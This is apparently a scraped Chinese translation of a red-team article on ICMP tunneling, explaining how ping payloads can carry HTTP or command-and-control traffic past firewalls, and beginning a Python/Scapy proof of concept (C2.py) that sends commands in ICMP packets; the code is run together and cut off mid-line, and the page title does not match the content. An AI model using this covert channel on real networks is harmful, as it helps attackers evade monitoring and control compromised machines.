recvfrom 无法接收 icmp 差错数据包_利用ICMP隧道技术实现C2通信
本文為翻譯文章,原文鏈接見文末。(翻譯為脈搏首發(fā))
一般來說,攻擊者在行動過程中經(jīng)常需要面對諸多的挑戰(zhàn),例如:
- 克服網(wǎng)絡(luò)障礙(網(wǎng)絡(luò)策略、分段等)。在“隱形模式”下完成各項操作,這樣,就不會被逮到了。
應(yīng)對這些挑戰(zhàn)的一個好方法是,當(dāng)試圖創(chuàng)建一個能夠跨越網(wǎng)絡(luò)中各種障礙的隱蔽連接時,使用ICMP隧道技術(shù)。
在計算機(jī)網(wǎng)絡(luò)中,隧道技術(shù)通常是將一個網(wǎng)絡(luò)協(xié)議封裝為另一個網(wǎng)絡(luò)協(xié)議的有效載荷(payload,即傳輸?shù)臄?shù)據(jù)),詳情請參閱這篇文章。
ICMP(Internet Control Message Protocol)是Internet協(xié)議簇中的一個支持協(xié)議。網(wǎng)絡(luò)設(shè)備可以使用它來發(fā)送錯誤消息和操作信息。其中,最常見的ICMP消息可能也是最常用的消息就是Ping消息。
實際上,Ping是一種控制消息,也是ICMP(Internet Control Message Protocol)協(xié)議的一個組成部分。
Ping消息可以從網(wǎng)絡(luò)中的一個節(jié)點發(fā)送到另一個節(jié)點。該消息是由第2層和第3層報頭(由OSI模塊定義的MAC和IP報頭)以及一個特殊的ICMP數(shù)據(jù)包構(gòu)成的。發(fā)送節(jié)點需要設(shè)置目的地參數(shù),如果目的地節(jié)點收到該消息,它會立即返回該消息。
下面是ping數(shù)據(jù)包的IP數(shù)據(jù)報格式:
ICMP隧道可以通過修改有效載荷數(shù)據(jù)來實現(xiàn),這樣,它就能在其中存放我們想要發(fā)送的數(shù)據(jù)了。
通常情況下,它會包含默認(rèn)的有效載荷數(shù)據(jù),如ASCII字符串“abcdefghijklmnopqrstuvwabcdefghi”等。
Wireshark——ICMP數(shù)據(jù)包及有效載荷數(shù)據(jù)
如果將HTTP數(shù)據(jù)包封裝在有效載荷數(shù)據(jù)中的話,就是這種方法最常用的一種方式——WiFi蹭網(wǎng)。
此外,這可以通過使用代理服務(wù)器來實現(xiàn),代理服務(wù)器會等待ping消息,并根據(jù)需要發(fā)送它們(例如,作為HTTP)。
借助于正確的工具(如ptunnel),我們可以將要發(fā)送到Google的HTTP數(shù)據(jù)包封裝到ping數(shù)據(jù)包中(即有效載荷數(shù)據(jù)內(nèi))。然后,將其發(fā)送到作為目的地的代理服務(wù)器IP地址處。
注意:該IP并非HTTP數(shù)據(jù)包的目的地(HTTP數(shù)據(jù)包的IP目的地應(yīng)該是http://www.google.com域名對應(yīng)的IP地址)
由于機(jī)場的路由器通常允許ICMP流量流出網(wǎng)絡(luò),因此,它會將Ping消息傳遞給代理服務(wù)器。
代理服務(wù)器接收Ping數(shù)據(jù)包后,會將其分成兩部分:
- ICMP頭部。包含原始HTTP消息的有效載荷。
注意:代理發(fā)送給Google的HTTP數(shù)據(jù)包的源IP地址應(yīng)該是代理服務(wù)器本身的IP地址,而不是筆記本電腦的IP地址(或機(jī)場的路由器的地址......),因為Google應(yīng)該回復(fù)的對象是代理,而不是您。
這可能是ICMP隧道最常見的用法,但作為一名紅隊成員,我發(fā)現(xiàn)這的確是一種逃避防火墻和其他網(wǎng)絡(luò)策略的“隱身”方法,所以,它是非常有用的。
上面所說的這一切都是可能的,因為Ping消息可以通過“Pay-for-WiFi”局域網(wǎng)中的路由器進(jìn)入互聯(lián)網(wǎng)。
那么,為什么人們會允許這種情況發(fā)生呢?
作為一名前網(wǎng)絡(luò)工程師,我可以告訴大家的是,在嘗試?yán)斫夂徒鉀Q非常復(fù)雜的網(wǎng)絡(luò)問題時,Ping是不可或缺的。
大多數(shù)網(wǎng)絡(luò)故障排除過程都是從測試信息是否能夠從一個節(jié)點傳送到另一節(jié)點開始的,即弄清楚:這條信息路線是否可行?網(wǎng)絡(luò)組件是否處于可用狀態(tài)并且能夠正常響應(yīng)?
面對這些問題,Ping消息可以用最簡單的方式提供答案,當(dāng)然,它還能夠用來解決許多其他方面的疑問。
實際上,這些故障排除工作幾乎每天都會遇到。這就意味著,相關(guān)的網(wǎng)絡(luò)配置必須允許將網(wǎng)絡(luò)上的Ping消息從一個節(jié)點傳輸?shù)搅硪粋€節(jié)點。同時,所有防火墻策略、路由器策略和交換機(jī)ACL(訪問列表)都必須允許ICMP消息從任何網(wǎng)絡(luò)組件傳輸?shù)饺魏纹渌M件。
這就是為什么Ping消息幾乎不會受到網(wǎng)絡(luò)分段和網(wǎng)絡(luò)策略方面的影響的原因。
既然如此,在網(wǎng)絡(luò)中創(chuàng)建連接時,為了克服網(wǎng)絡(luò)分段和網(wǎng)絡(luò)策略等障礙,可以讓代理使用ICMP隧道來連接C&C服務(wù)器——這是一個非常棒的主意。
為此,我用Python編寫了一個簡單的POC代碼,以用來演示其工作機(jī)制。
請注意:
-該PoC要求安裝Scapy(實際上,Scapy是一個很好的學(xué)習(xí)工具)
-該PoC沒有涉及分段處理。例如,如果來自代理的應(yīng)答大于允許的有效載荷數(shù)據(jù)的上限,則會對其進(jìn)行分段。
該PoC還包含了一個C&C服務(wù)器和一個代理。其中,C2服務(wù)器將通過ICMP隧道向代理發(fā)送指令,代理也將通過ICMP隧道來返回相應(yīng)的結(jié)果。
C2.py
#!/usr/bin/env python3from scapy.all import * def main(): while True: command = raw_input('# Enter command: ') # build the ICMP packet with the command as the payload pinger = IP(dst="localhost")/ICMP(id=0x0001, seq=0x1)/command send(pinger) # wait for the ICMP message containing the answer from the agent # to be received rx = sniff(count=1, timeout=2) # use this if agent is not on local machine: rx = sniff(filter="icmp總結(jié)
以上是生活随笔為你收集整理的recvfrom 无法接收 icmp 差错数据包_利用ICMP隧道技术实现C2通信的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: mysql控制台增加一个用户_MySQL
- 下一篇: mysql约束sex_MySQL笔记--